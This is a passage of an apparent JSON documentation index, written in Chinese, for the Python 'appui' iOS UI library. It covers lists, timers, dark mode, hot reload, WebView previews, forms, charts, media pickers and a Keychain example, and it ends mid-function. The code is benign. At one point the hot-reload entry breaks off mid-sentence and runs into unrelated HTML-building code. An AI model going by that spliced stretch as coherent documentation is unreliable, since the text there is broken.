appui.Section(f\"{len(visible)} results\", [\n appui.ForEach(visible, row_builder=row_view, key=row_key)\n ]),\n appui.Section(\"Selection\", [\n appui.LabeledContent(\"Selected\", value=state.selected)\n ]),\n ])\n .searchable(text=state.query, on_change=set_query)\n .navigation_title(\"Large List\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 不要把大量行直接塞进普通 VStack 再放进 ScrollView。列表需要稳定的行身份和系统级复用能力。 Timer 和中频刷新 Timer 放模块级,启动和停止由回调控制,不要在 body() 里创建。 import appui\n\nstate = appui.State(seconds=0, running=False)\n\n\ndef tick():\n if state.running:\n state.seconds += 1\n\n\ntimer = appui.Timer(interval=1.0, action=tick)\n\n\ndef start():\n state.running = True\n timer.start()\n\n\ndef stop():\n state.running = False\n timer.stop()\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Timer\", [\n appui.LabeledContent(\"Seconds\", value=str(state.seconds)),\n appui.HStack([\n appui.Button(\"Start\", action=start).button_style(\"bordered_prominent\"),\n appui.Button(\"Stop\", action=stop).button_style(\"bordered\"),\n ], spacing=12),\n ], footer=\"Running\" if state.running else \"Stopped\")\n ]).navigation_title(\"Timer\")\n )\n\n\nappui.run(body, state=state) 高频属性更新 当页面结构稳定、只是已有控件的值持续变化时,可以使用 实时快路径模式。它适合进度、滑块、仪表盘、计时器和状态文本。 关键原则: 先保证普通 State 版本正确。 高频字段再改成 ReactiveState 或组件绑定。 不要手动调用未公开接口。 结构变化仍然交给普通刷新。 import appui\n\nstate = appui.ReactiveState(\n title=\"Meter\",\n level=(0.0, 1),\n peak=(0.0, 2),\n)\n\n\ndef update_meter(level, peak):\n state.level = level\n state.peak = peak 重型原生视图 VideoPlayer、MapView、WebView、相机预览这类视图不要放进普通列表行里滚动。把它们放在稳定区域,让下方的控制项使用 Form 或 List。 场景 推荐 视频播放 顶部固定 `VideoPlayer`,下方 `Form` 控制区 地图选点 顶部 `MapView`,下方坐标和操作 WebView 帮助页 `WebView` 独立稳定区域 图表仪表盘 `Chart` 或 `Canvas` 放在固定高度卡片中 小结 body() 只做界面描述。 数据准备、文件读取、网络请求放到界面构建之外。 结构变化用普通状态刷新。 多字段变化用 batch_update。 长列表用 List + ForEach + stable key。 高频属性变化看 实时快路径;相机、传感器、音频或系统状态流看 iOS 原生能力。" + }, + { + "id": "appui-guide-darkmode", + "title": "深色模式与语义色", + "subtitle": "语义颜色、材质背景、强制色彩方案和符号配色。", + "section": "appui / 指南", + "url": "pages/appui-guide-darkmode/", + "text": "深色模式与语义色 语义颜色、材质背景、强制色彩方案和符号配色。 appui 指南 appui color darkmode dark mode 深色模式 semantic color preferred_color_scheme background 深色模式 在 appui 中,外观由 系统语义色字符串 、 环境色方案 与 材质背景 共同决定。优先使用语义色和材质,让页面自动适配浅色、深色和高对比度环境。 预期效果 示例会展示语义色、材质背景、强制色彩方案和符号配色在浅色/深色下的表现。 系统语义色(随浅色/深色变化) 在 foreground_color、background(color=...)、fill、stroke 等接受颜色的位置,可直接传入下列字符串(不区分大小写;部分名称支持 snake_case 别名,如 secondary_label)。 背景与分组 systemBackground(别名:system_background、background) secondarySystemBackground(secondary_system_background、secondary_background) tertiarySystemBackground(tertiary_system_background、tertiary_background) systemGroupedBackground、secondarySystemGroupedBackground、tertiarySystemGroupedBackground 标签与分隔 label、secondaryLabel、tertiaryLabel、quaternaryLabel separator、opaqueSeparator placeholderText(placeholder_text、placeholder) 填充层级 systemFill(system_fill、fill) secondarySystemFill、tertiarySystemFill、quaternarySystemFill 系统调色板 systemBlue、systemRed、systemGreen、systemOrange、systemPurple systemPink、systemYellow、systemTeal、systemCyan、systemIndigo systemGray、systemBrown、systemMint import appui\n\nstate = appui.State()\n\ndef body():\n return (appui.VStack([\n appui.Text(\"主标签色\").foreground_color(\"label\"),\n appui.Text(\"次要说明\").foreground_color(\"secondaryLabel\"),\n appui.Divider(),\n appui.Text(\"强调链接\").foreground_color(\"systemBlue\"),\n ], spacing=12)\n .padding()\n .frame(max_width=400)\n .background(color=\"systemGroupedBackground\", corner_radius=12))\n\nappui.run(body, state=state, presentation=\"sheet\") preferred_color_scheme:强制浅色或深色 对子树应用 .preferred_color_scheme(scheme),scheme 为 'light' 或 'dark'。 import appui\n\nstate = appui.State(force=\"dark\")\n\n\ndef set_light():\n state.force = \"light\"\n\n\ndef body():\n return (appui.VStack([\n appui.Text(\"强制深色环境下的卡片\").foreground_color(\"label\"),\n appui.Button(\"切换为浅色预览\", action=set_light),\n ], spacing=16)\n .padding()\n .background(color=\"secondarySystemBackground\", corner_radius=16)\n .preferred_color_scheme(state.force))\n\nappui.run(body, state=state, presentation=\"sheet\") 材质背景:background(material=...) 使用 模糊材质 时,不要同时传 color。material 常用取值如下: `material` 参数值 说明 `ultra_thin` 或 `ultra_thin_material` `ultraThinMaterial` `thin` 或 `thin_material` `thinMaterial` `regularMaterial`、`regular` 或 `regular_material` `regularMaterial` `thick` 或 `thick_material` `thickMaterial` `ultra_thick` 或 `ultra_thick_material` `ultraThickMaterial` import appui\n\nstate = appui.State()\n\ndef body():\n return (appui.VStack([\n appui.Text(\"玻璃质感背景\").foreground_color(\"label\"),\n appui.Text(\"副标题\").font(\"caption\").foreground_color(\"secondaryLabel\"),\n ], spacing=8)\n .padding(20)\n .background(material=\"regularMaterial\", corner_radius=14))\n\nappui.run(body, state=state, presentation=\"sheet\") background 还可配合 gradient、opacity、corner_radius 等参数;详见 View.background 的 appui.py 文档字符串。 实践建议 优先语义色 :卡片与列表用 secondarySystemGroupedBackground、label 等,减少硬编码 RRGGBB。 对比度 :在 preferred_color_scheme('dark') 下仍用 label / secondaryLabel 分层,而不是纯灰。 材质与圆角 :background(material='regular', corner_radius=12) 在圆角矩形内裁剪材质,视觉更统一。 调试 :用 preferred_color_scheme 固定一种方案,截图对比浅色与深色下的 systemFill 层级是否清晰。 import appui\n\n# 仅构建视图树,验证修饰符链可序列化。\ndef body():\n return appui.Text(\"Hi\").padding().background(material=\"thin\", corner_radius=8)\n\ntree = body()\nassert tree is not None 与 SF Symbols 搭配 导航与媒体类符号在深浅背景下都清晰,例如 chevron.left、play.fill、gearshape.fill。配合 Image(system_name=...) 与 symbol_rendering_mode('hierarchical') 可得到分层着色效果。 import appui\n\nstate = appui.State()\n\ndef body():\n return appui.HStack([\n appui.Image(system_name=\"sun.max.fill\").foreground_color(\"systemYellow\"),\n appui.Image(system_name=\"moon.fill\").foreground_color(\"systemIndigo\"),\n ], spacing=24).padding()\n\nappui.run(body, state=state, presentation=\"sheet\") 更多媒体与符号用法见 appui guide media.md。" + }, + { + "id": "appui-guide-hotreload", + "title": "热重载", + "subtitle": "hot_reload 的启用方式、状态保留和调试边界。", + "section": "appui / 指南", + "url": "pages/appui-guide-hotreload/", + "text": "热重载 hot_reload 的启用方式、状态保留和调试边界。 appui 指南 appui hot_reload hot_reload 热重载 run State 热重载 appui.run(body_func, state=None, hot_reload=False, presentation='sheet') 在 hot_reload=True 时监视调用脚本文件,保存后自动重新执行脚本并刷新界面,便于迭代 UI。body_func 可以写成 body(),也可以写成 body(state)。 预期效果 示例会展示热重载保留 State、刷新页面结构,并在错误时保持预览可恢复。 启用方式 import appui\n\nstate = appui.State(count=0)\n\n\ndef increment():\n state.count += 1\n\n\ndef body():\n return appui.VStack([\n appui.Text(f\"count = {state.count}\").font(\"title2\"),\n appui.Button(\"+1\", action=increment)\n .button_style(\"bordered_prominent\"),\n ], spacing=16).padding()\n\nappui.run(body, state=state, hot_reload=True, presentation=\"sheet\") 要点: 监视的是 run() 调用栈所在文件 (inspect.stack),因此热重载入口应放在 真实脚本 中,而不是交互式 stdin。 保存文件后,运行环境会尽快重新加载脚本并刷新界面;触发速度取决于当前设备和文件系统。 状态保留:仅 State 自动合并 热重载重新执行脚本后,若旧页面和新页面都使用 State ,会按字段名保留仍然存在的状态值,从而让计数器、开关等继续保持当前值。 ReactiveState 不会自动合并 到新实例;热重载后若脚本重新构造 ReactiveState(),字段会回到脚本初值,除非你在脚本里自行从文件恢复。 \"\"\"说明:热重载后 State 合并逻辑只针对 appui.State。\"\"\"\nimport appui\n\ns = appui.State(a=1)\nsnapshot = s.to_dict()\nassert snapshot[\"a\"] == 1 (在应用内以 hot_reload=True 运行时可观察计数在保存后仍连续。) 开发流程建议 将 body 与小组件函数放在同一 .py 文件,run(..., hot_reload=True) 置于 if __name__ == \"__main__\": 中(若在应用内直接调用亦可)。 每次保存后,运行环境会重新读取当前文件并绑定新的 body。 首帧会完整刷新界面树,避免旧界面结构影响新代码。 出错时会发生什么 若新代码 语法错误 或 导入失败 ,异常会显示在预览错误面板;进程不退出,修正后再保存即可。 import appui\n\nstate = appui.State(ok=True)\n\ndef body():\n return appui.VStack([\n appui.Text(\"保存本文件即可触发热重载\").font(\"footnote\"),\n appui.Button(\"关闭\", action=appui.dismiss).button_style(\"bordered\"),\n ], spacing=12).padding()\n\nappui.run(body, state=state, hot_reload=True, presentation=\"sheet\") 调试技巧 打印 :保存后可在控制台观察重载成功或错误信息。 按钮短暂不可点 :保存瞬间正在替换回调,等界面刷新完成后再点一次。 不要用 \")\n return f\"\"\"\n \n \n \n \n \n \n
\n

{safe_title}

\n

{safe_body}

\n
\n \n \n \"\"\"\n\n\ndef mark_ready():\n state.status = \"已生成预览\"\n haptics.notification(\"success\")\n\n\ndef native_file_export():\n return f\"{state.title}\\n\\n{state.body_text}\"\n\n\ndef preview_view():\n if state.preview_mode == \"网页 URL\":\n return appui.WebView(url=\"https://www.apple.com\")\n return appui.WebView(html=html_preview())\n\n\ndef body():\n share_text = native_file_export()\n return appui.NavigationStack(\n appui.TabView(\n [\n appui.Tab(\n \"编辑\",\n system_image=\"square.and.pencil\",\n content=appui.Form(\n [\n appui.Section(\n [\n appui.TextField(\"标题\", text=state.title, on_change=set_title),\n appui.TextEditor(\n text=state.body_text,\n on_change=set_body,\n ).frame(height=160),\n appui.Picker(\n \"预览来源\",\n selection=state.preview_mode,\n options=[\"本地 HTML\", \"网页 URL\"],\n on_change=set_mode,\n ),\n ],\n header=\"内容\",\n ),\n appui.Section(\n [\n appui.LabeledContent(\"状态\", value=state.status),\n (\n appui.Button(\"生成预览\", action=mark_ready)\n .button_style(\"bordered_prominent\")\n ),\n appui.ShareLink(\n item=share_text,\n subject=state.title,\n message=\"来自 MiniApp\",\n ),\n ],\n header=\"操作\",\n ),\n ]\n ),\n ),\n appui.Tab(\n \"预览\",\n system_image=\"safari\",\n content=preview_view(),\n ),\n ]\n ).navigation_title(\"网页预览\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 WebView(url=...) 打开网页;WebView(html=...) 渲染本地 HTML 字符串。 HTML 放在普通 State 字段,不要把 WebView 实例放进状态。 MiniApp 内导出/分享优先 ShareLink(item=..., subject=..., message=...);设置类界面仍用原生 Form/List。 用户输入进入 HTML 前要用 html.escape,避免把正文当作原始 HTML 执行。" + }, + { + "id": "appui-cookbook-native-list-detail", + "title": "示例:原生列表详情", + "subtitle": "NavigationStack、NavigationLink、搜索、刷新和滑动操作。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-native-list-detail/", + "text": "示例:原生列表详情 NavigationStack、NavigationLink、搜索、刷新和滑动操作。 appui 示例 appui cookbook navigation list 列表详情 NavigationLink swipe_actions searchable 原生列表与详情 演示 List + searchable、NavigationLink 详情、swipe_actions 与 refreshable 的标准列表流。 预期效果 运行后会出现原生列表详情页,搜索、分类、导航详情和行级操作都能产生可见反馈。 适合场景 项目列表、课程目录、素材库、文件浏览等一列数据进入详情的页面。 需要搜索、筛选、下拉刷新、行滑动操作和详情页的标准列表流。 页面结构 区域 结构 作用 顶层 `NavigationStack` 承载列表标题和详情页返回栈。 筛选区 `Section + Picker` 切换分类并展示当前状态。 内容区 `List + ForEach + NavigationLink` 稳定渲染动态行并进入详情。 行操作 `.swipe_actions(...)` 完成、删除等高频动作。 完整示例 import appui\nimport haptics\n\nstate = appui.State(\n query=\"\",\n filter=\"全部\",\n status=\"就绪\",\n items=[\n {\"id\": \"inbox\", \"title\": \"收件箱整理\", \"subtitle\": \"今天完成 12 条消息归档\", \"tag\": \"工作\", \"done\": False},\n {\"id\": \"clip\", \"title\": \"剪贴板素材\", \"subtitle\": \"保存常用文案和链接\", \"tag\": \"工具\", \"done\": True},\n {\n \"id\": \"video\",\n \"title\": \"视频片源检查\",\n \"subtitle\": \"确认 HLS 和 MP4 是否可播放\",\n \"tag\": \"媒体\",\n \"done\": False,\n },\n {\"id\": \"health\", \"title\": \"血压周报\", \"subtitle\": \"统计最近 7 天平均值\", \"tag\": \"健康\", \"done\": True},\n ],\n)\n\n\ndef set_query(value):\n state.query = value\n\n\ndef set_filter(value):\n state.filter = value\n\n\ndef visible_items():\n query = state.query.strip().lower()\n rows = []\n for item in state.items:\n if state.filter != \"全部\" and item[\"tag\"] != state.filter:\n continue\n text = f\"{item['title']} {item['subtitle']} {item['tag']}\".lower()\n if query and query not in text:\n continue\n rows.append(item)\n return rows\n\n\ndef toggle_done(item_id):\n rows = []\n for item in state.items:\n copy = dict(item)\n if copy[\"id\"] == item_id:\n copy[\"done\"] = not copy[\"done\"]\n rows.append(copy)\n state.items = rows\n haptics.selection()\n\n\ndef delete_item(item_id):\n state.items = [item for item in state.items if item[\"id\"] != item_id]\n state.status = \"已删除\"\n haptics.notification(\"success\")\n\n\ndef reload_items():\n state.status = \"已刷新\"\n haptics.selection()\n\n\ndef detail_view(item):\n def toggle_current():\n toggle_done(item[\"id\"])\n\n return appui.Form(\n [\n appui.Section(\n [\n appui.LabeledContent(\"标题\", value=item[\"title\"]),\n appui.LabeledContent(\"分类\", value=item[\"tag\"]),\n appui.LabeledContent(\"状态\", value=\"完成\" if item[\"done\"] else \"进行中\"),\n ],\n header=\"信息\",\n ),\n appui.Section(\n [\n appui.Text(item[\"subtitle\"]).font(\"body\"),\n appui.Button(\"切换完成状态\", action=toggle_current),\n ],\n header=\"操作\",\n ),\n ]\n ).navigation_title(item[\"title\"])\n\n\ndef row_view(item):\n def toggle_current():\n toggle_done(item[\"id\"])\n\n def delete_current():\n delete_item(item[\"id\"])\n\n status_icon = \"checkmark.circle.fill\" if item[\"done\"] else \"circle\"\n status_color = \"systemGreen\" if item[\"done\"] else \"secondaryLabel\"\n return appui.NavigationLink(\n destination=detail_view(item),\n label=appui.HStack(\n [\n appui.Image(system_name=status_icon).foreground_color(status_color),\n appui.VStack(\n [\n appui.Text(item[\"title\"]).font(\"headline\"),\n (\n appui.Text(item[\"subtitle\"])\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\")\n ),\n ],\n alignment=\"leading\",\n spacing=3,\n ),\n appui.Spacer(),\n appui.Text(item[\"tag\"]).font(\"caption\").foreground_color(\"systemBlue\"),\n ],\n spacing=10,\n ),\n ).swipe_actions(\n actions=[\n appui.Button(\"完成\", action=toggle_current),\n appui.Button(\"删除\", role=\"destructive\", action=delete_current),\n ]\n )\n\n\ndef row_key(item):\n return item[\"id\"]\n\n\ndef body():\n rows = visible_items()\n content = (\n appui.ContentUnavailableView(\n \"没有结果\",\n system_image=\"magnifyingglass\",\n description=\"换个关键词或分类再试\",\n )\n if not rows\n else appui.ForEach(rows, row_view, key=row_key)\n )\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.Picker(\n \"分类\",\n selection=state.filter,\n options=[\"全部\", \"工作\", \"工具\", \"媒体\", \"健康\"],\n on_change=set_filter,\n ),\n appui.LabeledContent(\"状态\", value=state.status),\n ],\n header=\"筛选\",\n ),\n appui.Section(\"事项\", [content]),\n ]\n )\n .searchable(text=state.query, on_change=set_query)\n .refreshable(reload_items)\n .navigation_title(\"事项\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 state.items 只存纯数据(字典列表),不要存入 Text/Button 等视图对象。 搜索用 List(...).searchable(...),不要用自绘 TextField 条顶替系统搜索栏。 详情进路由用 NavigationLink;行级操作放 swipe_actions;下拉刷新用 refreshable。 失败路径 搜索和筛选没有结果时显示 ContentUnavailableView,不要让列表区域空白。 删除或刷新后把结果写回 state.status,用户能看见刚才发生了什么。 可替换点 当前写法 可替换为 静态 `state.items` `storage.get_json(...)` 或网络请求结果 `haptics.selection()` 普通状态文本、toast 或 alert 分类 `Picker` 搜索栏、分段控件或多个筛选字段 相关文档 文档 用途 [导航与页面结构](appui-guide-navigation) 列表详情和导航栈。 [呈现 API](appui-ref-presentation) `swipe_actions` 和 `refreshable`。" + }, + { + "id": "appui-cookbook-form-settings-controls", + "title": "示例:原生表单设置", + "subtitle": "Form、Section、输入控件、颜色选择和 storage 持久化。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-form-settings-controls/", + "text": "示例:原生表单设置 Form、Section、输入控件、颜色选择和 storage 持久化。 appui 示例 appui cookbook form storage 原生表单 Form Section TextField SecureField ColorPicker storage 原生表单设置 演示 Form + Section 与各类控件绑定 State,并用 storage 持久化偏好。 预期效果 运行后会出现完整表单设置页,文本、开关、日期、颜色和保存状态会同步更新。 完整示例 import appui\nimport haptics\nimport storage\n\nSETTINGS_KEY = \"demo.native.settings\"\n\ndefaults = {\n \"display_name\": \"MiniApp 用户\",\n \"api_token\": \"\",\n \"mode\": \"自动\",\n \"refresh_minutes\": 15,\n \"volume\": 0.55,\n \"accent\": \"systemBlue\",\n \"deadline\": \"2026-05-01 09:00\",\n \"sync_enabled\": True,\n \"wifi_only\": True,\n}\n\nstate = appui.State(**defaults, status=\"未保存\", loaded=False)\n\n\ndef load_saved_settings():\n if state.loaded:\n return\n state.loaded = True\n saved = storage.get_json(SETTINGS_KEY, default={}) or {}\n for key, fallback in defaults.items():\n setattr(state, key, saved.get(key, fallback))\n if saved:\n state.status = \"已加载保存设置\"\n\n\ndef update(field):\n def setter(value):\n setattr(state, field, value)\n return setter\n\n\ndef save_settings():\n payload = {\n \"display_name\": state.display_name,\n \"api_token\": state.api_token,\n \"mode\": state.mode,\n \"refresh_minutes\": int(state.refresh_minutes),\n \"volume\": float(state.volume),\n \"accent\": state.accent,\n \"deadline\": state.deadline,\n \"sync_enabled\": bool(state.sync_enabled),\n \"wifi_only\": bool(state.wifi_only),\n }\n storage.set_json(SETTINGS_KEY, payload)\n state.status = \"已保存\"\n haptics.notification(\"success\")\n\n\ndef reset_settings():\n for key, value in defaults.items():\n setattr(state, key, value)\n state.status = \"已恢复默认\"\n haptics.notification(\"warning\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form(\n [\n appui.Section(\n [\n appui.TextField(\n \"显示名称\",\n text=state.display_name,\n on_change=update(\"display_name\"),\n ),\n appui.SecureField(\n \"API Token\",\n text=state.api_token,\n on_change=update(\"api_token\"),\n ),\n ],\n header=\"账号\",\n footer=\"Token 只用于演示表单输入;生产场景请保存到 keychain。\",\n ),\n appui.Section(\n [\n appui.Toggle(\n \"启用同步\",\n is_on=state.sync_enabled,\n on_change=update(\"sync_enabled\"),\n ),\n appui.Toggle(\n \"仅 Wi-Fi 同步\",\n is_on=state.wifi_only,\n on_change=update(\"wifi_only\"),\n ),\n appui.Picker(\n \"同步模式\",\n selection=state.mode,\n options=[\"自动\", \"手动\", \"低电量\"],\n on_change=update(\"mode\"),\n ),\n ],\n header=\"同步\",\n ),\n appui.Section(\n [\n appui.Stepper(\n \"刷新间隔\",\n value=state.refresh_minutes,\n minimum=5,\n maximum=120,\n step=5,\n on_change=update(\"refresh_minutes\"),\n ),\n appui.LabeledContent(\"当前间隔\", value=f\"{int(state.refresh_minutes)} 分钟\"),\n appui.Slider(\n value=state.volume,\n minimum=0,\n maximum=1,\n step=0.05,\n label=\"提示音量\",\n on_change=update(\"volume\"),\n ),\n appui.ProgressView(value=state.volume),\n ],\n header=\"数值\",\n ),\n appui.Section(\n [\n appui.DatePicker(\n \"提醒时间\",\n selection=state.deadline,\n components=\"date\",\n on_change=update(\"deadline\"),\n ),\n appui.ColorPicker(\n \"强调色\",\n selection=state.accent,\n on_change=update(\"accent\"),\n ),\n ],\n header=\"外观与时间\",\n ),\n appui.Section(\n [\n appui.LabeledContent(\"状态\", value=state.status),\n (\n appui.Button(\"保存设置\", action=save_settings)\n .button_style(\"bordered_prominent\")\n ),\n appui.Button(\"恢复默认\", role=\"destructive\", action=reset_settings),\n ],\n header=\"操作\",\n ),\n ]\n ).navigation_title(\"设置\")\n ).on_appear(load_saved_settings)\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 设置页优先 Form + Section;控件值绑定 State 并在 on_change 写回。 一般偏好用 storage;真密钥用 keychain。 持久化读取放进 on_appear,不要在模块加载时访问原生存储,预览和首次渲染会更稳定。 Toggle 的 on_change 只更新状态,避免顺带做 Tab 切换等导航副作用。" + }, + { + "id": "appui-cookbook-chart-canvas-lab", + "title": "示例:图表与画布实验室", + "subtitle": "Chart、Canvas、DrawingContext 和阈值可视化。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-chart-canvas-lab/", + "text": "示例:图表与画布实验室 Chart、Canvas、DrawingContext 和阈值可视化。 appui 示例 appui cookbook chart canvas 图表 Chart Canvas DrawingContext 阈值 图表与画布实验室 演示 Chart 与 Canvas/DrawingContext:统计图优先 Chart,自定义示意图再用 Canvas。 预期效果 运行后会出现图表与画布实验室,图表类型、强调色和阈值会联动更新。 完整示例 import appui\n\nstate = appui.State(\n chart_type=\"bar\",\n threshold=55.0,\n accent=\"systemBlue\",\n rows=[\n {\"month\": \"Jan\", \"value\": 42},\n {\"month\": \"Feb\", \"value\": 64},\n {\"month\": \"Mar\", \"value\": 53},\n {\"month\": \"Apr\", \"value\": 78},\n {\"month\": \"May\", \"value\": 69},\n ],\n)\n\n\ndef set_chart_type(value):\n state.chart_type = value\n\n\ndef set_threshold(value):\n state.threshold = float(value)\n\n\ndef set_accent(value):\n state.accent = value\n\n\ndef drawing_context():\n ctx = appui.DrawingContext()\n ctx.rounded_rect(\n 10, 10, 260, 140,\n corner_radius=14,\n color=\"secondarySystemBackground\",\n fill=True,\n )\n ctx.line(24, 118, 250, 118, color=\"separator\", line_width=1)\n ctx.line(24, 28, 24, 118, color=\"separator\", line_width=1)\n max_value = max(row[\"value\"] for row in state.rows)\n for index, row in enumerate(state.rows):\n x = 42 + index * 42\n height = 80 * row[\"value\"] / max_value\n color = \"systemRed\" if row[\"value\"] >= state.threshold else state.accent\n ctx.rounded_rect(x, 118 - height, 24, height, corner_radius=5, color=color, fill=True)\n ctx.fill_text(row[\"month\"], x - 3, 132, color=\"secondaryLabel\", font_size=10)\n y = 118 - 80 * state.threshold / max_value\n ctx.line(24, y, 250, y, color=\"systemOrange\", line_width=2)\n ctx.fill_text(\"阈值\", 212, y - 6, color=\"systemOrange\", font_size=11)\n return ctx\n\n\ndef body():\n return appui.NavigationStack(\n appui.ScrollView(\n appui.VStack(\n [\n appui.Form(\n [\n appui.Section(\n [\n appui.Picker(\n \"图表类型\",\n selection=state.chart_type,\n options=[\"bar\", \"line\", \"area\", \"point\"],\n on_change=set_chart_type,\n ),\n appui.ColorPicker(\n \"强调色\",\n selection=state.accent,\n on_change=set_accent,\n ),\n appui.Slider(\n value=state.threshold,\n minimum=30,\n maximum=90,\n step=1,\n label=\"阈值\",\n on_change=set_threshold,\n ),\n appui.LabeledContent(\"当前阈值\", value=f\"{state.threshold:.0f}\"),\n ],\n header=\"配置\",\n )\n ]\n ),\n appui.VStack(\n [\n appui.Text(\"系统图表\").font(\"headline\"),\n appui.Chart(\n state.rows,\n x=\"month\",\n y=\"value\",\n type=state.chart_type,\n color=state.accent,\n ).frame(height=220),\n ],\n spacing=8,\n ).padding(horizontal=16),\n appui.VStack(\n [\n appui.Text(\"Canvas 自定义阈值图\").font(\"headline\"),\n appui.Canvas(width=280, height=160, context=drawing_context()),\n ],\n spacing=8,\n ).padding(horizontal=16),\n ],\n spacing=14,\n )\n ).navigation_title(\"可视化\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 Chart 数据为字典列表,x/y 与字段名一致。 DrawingContext 在渲染函数里按需构造,不要整段上下文存进 State;命令需可 JSON 序列化。 常规统计用 Canvas 手绘可维护性差,优先 Chart。" + }, + { + "id": "appui-cookbook-media-capture-gallery", + "title": "示例:媒体采集相册", + "subtitle": "PhotoPicker、CameraPicker、AsyncImage 和 ShareLink。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-media-capture-gallery/", + "text": "示例:媒体采集相册 PhotoPicker、CameraPicker、AsyncImage 和 ShareLink。 appui 示例 appui cookbook media gallery 相册 PhotoPicker CameraPicker AsyncImage ShareLink 相册拍照与分享 演示 PhotoPicker、CameraPicker、AsyncImage 与 ShareLink 的媒体采集与分享流。 预期效果 运行后会出现媒体采集相册,选择照片、拍照和分享入口会把结果写入列表。 适合场景 头像上传、素材库、图片选择、拍照后分享。 需要同时展示远程封面、本地路径列表和分享入口的媒体页面。 页面结构 区域 结构 作用 封面 `AsyncImage` 展示远程缩略图和加载/失败占位。 导入 `PhotoPicker + CameraPicker` 由系统处理相册选择和拍照。 文件列表 `ForEach + NavigationLink` 查看每个媒体路径并进入分享页。 完整示例 import appui\nimport haptics\n\nstate = appui.State(\n cover_url=\"https://images.unsplash.com/photo-1515879218367-8466d910aaa4?w=900\",\n picked=[],\n captured=\"\",\n status=\"请选择照片或拍照\",\n)\n\n\ndef on_picked(paths):\n state.picked = list(paths or [])\n state.status = f\"已选择 {len(state.picked)} 个文件\"\n haptics.notification(\"success\")\n\n\ndef on_captured(path):\n state.captured = path or \"\"\n state.status = \"已拍摄\" if path else \"未获得照片\"\n haptics.notification(\"success\" if path else \"warning\")\n\n\ndef clear_media():\n state.batch_update(picked=[], captured=\"\", status=\"已清空\")\n haptics.selection()\n\n\ndef media_rows():\n rows = [{\"title\": \"拍摄照片\", \"path\": state.captured}] if state.captured else []\n for index, path in enumerate(state.picked, start=1):\n rows.append({\"title\": f\"相册文件 {index}\", \"path\": path})\n return rows\n\n\ndef media_detail(row):\n return appui.Form(\n [\n appui.Section(\n [\n appui.LabeledContent(\"名称\", value=row[\"title\"]),\n appui.Text(row[\"path\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.ShareLink(\n item=row[\"path\"],\n subject=row[\"title\"],\n message=\"来自 Python IDE MiniApp\",\n ),\n ],\n header=\"文件\",\n )\n ]\n ).navigation_title(row[\"title\"])\n\n\ndef media_row_key(row):\n return row[\"path\"]\n\n\ndef media_row_link(row):\n return appui.NavigationLink(\n destination=media_detail(row),\n label=appui.Label(row[\"title\"], system_image=\"photo\"),\n )\n\n\ndef body():\n rows = media_rows()\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.AsyncImage(\n url=state.cover_url,\n placeholder=appui.ProgressView(\"加载封面\"),\n error_view=appui.Image(system_name=\"photo\"),\n content_mode=\"fill\",\n )\n .frame(height=180)\n .corner_radius(12)\n .clipped(),\n appui.LabeledContent(\"状态\", value=state.status),\n ],\n header=\"封面\",\n ),\n appui.Section(\n [\n appui.PhotoPicker(\n selection_limit=3,\n filter=\"images\",\n on_picked=on_picked,\n label=appui.Label(\"选择照片\", system_image=\"photo.on.rectangle\"),\n ),\n appui.CameraPicker(\n source=\"camera\",\n media_type=\"photo\",\n on_captured=on_captured,\n label=appui.Label(\"拍照\", system_image=\"camera.fill\"),\n ),\n appui.Button(\"清空\", role=\"destructive\", action=clear_media),\n ],\n header=\"导入\",\n ),\n appui.Section(\n [\n appui.ContentUnavailableView(\n \"暂无媒体\",\n system_image=\"photo\",\n description=\"选择照片或拍照后显示\",\n )\n if not rows\n else appui.ForEach(\n rows,\n row_builder=media_row_link,\n key=media_row_key,\n )\n ],\n header=\"媒体文件\",\n ),\n ]\n ).navigation_title(\"媒体采集\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 选图用 PhotoPicker,拍照用 CameraPicker,由系统处理权限与选取 UI。 在状态里保存路径字符串,不要保存图像对象或视图实例。 分享文件/链接用 ShareLink;远程缩略图用 AsyncImage。 失败路径 用户取消选择或拍照时,把状态更新为「未获得照片」,不要假设一定有路径。 设备没有相机或权限不可用时,保留相册选择和清空按钮,避免整页不可用。 相关文档 文档 用途 [媒体 API](appui-ref-media) `PhotoPicker`、`CameraPicker`、`AsyncImage`、`ShareLink`。 [原生能力入口](miniapp-native-capabilities) 权限和设备能力的处理思路。" + }, + { + "id": "appui-cookbook-secure-vault", + "title": "示例:安全凭据库", + "subtitle": "Keychain 存储敏感字段,读取前使用系统验证。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-secure-vault/", + "text": "示例:安全凭据库 Keychain 存储敏感字段,读取前使用系统验证。 appui 示例 appui cookbook keychain biometric 凭据 Keychain keychain biometric authenticate_with_passcode SecureField 安全凭据库 演示 keychain 存储敏感字段,读取前用 biometric.authenticate_with_passcode 校验。 预期效果 运行后会出现安全凭据库,敏感字段保存到 Keychain,读取前会先走系统验证。 完整示例 import appui\nimport biometric\nimport haptics\nimport keychain\n\nstate = appui.State(\n service=\"pythonide.demo\",\n account=\"default\",\n secret=\"\",\n revealed=\"\",\n status=\"未保存\",\n auth_type=\"\",\n)\n\n\ndef update_service(value):\n state.service = value\n\n\ndef update_account(value):\n state.account = value\n\n\ndef update_secret(value):\n state.secret = value\n\n\ndef refresh_auth_type():\n state.auth_type = biometric.biometric_type()\n\n\ndef save_secret():\n if not state.service.strip() or not state.account.strip() or not state.secret:\n state.status = \"请填写服务名、账号和 Token\"\n haptics.notification(\"warning\")\n return\n keychain.set_password(state.service.strip(), state.account.strip(), state.secret)\n state.batch_update(status=\"已保存到 Keychain\", secret=\"\", revealed=\"\")\n haptics.notification(\"success\")\n\n\ndef reveal_secret():\n result = 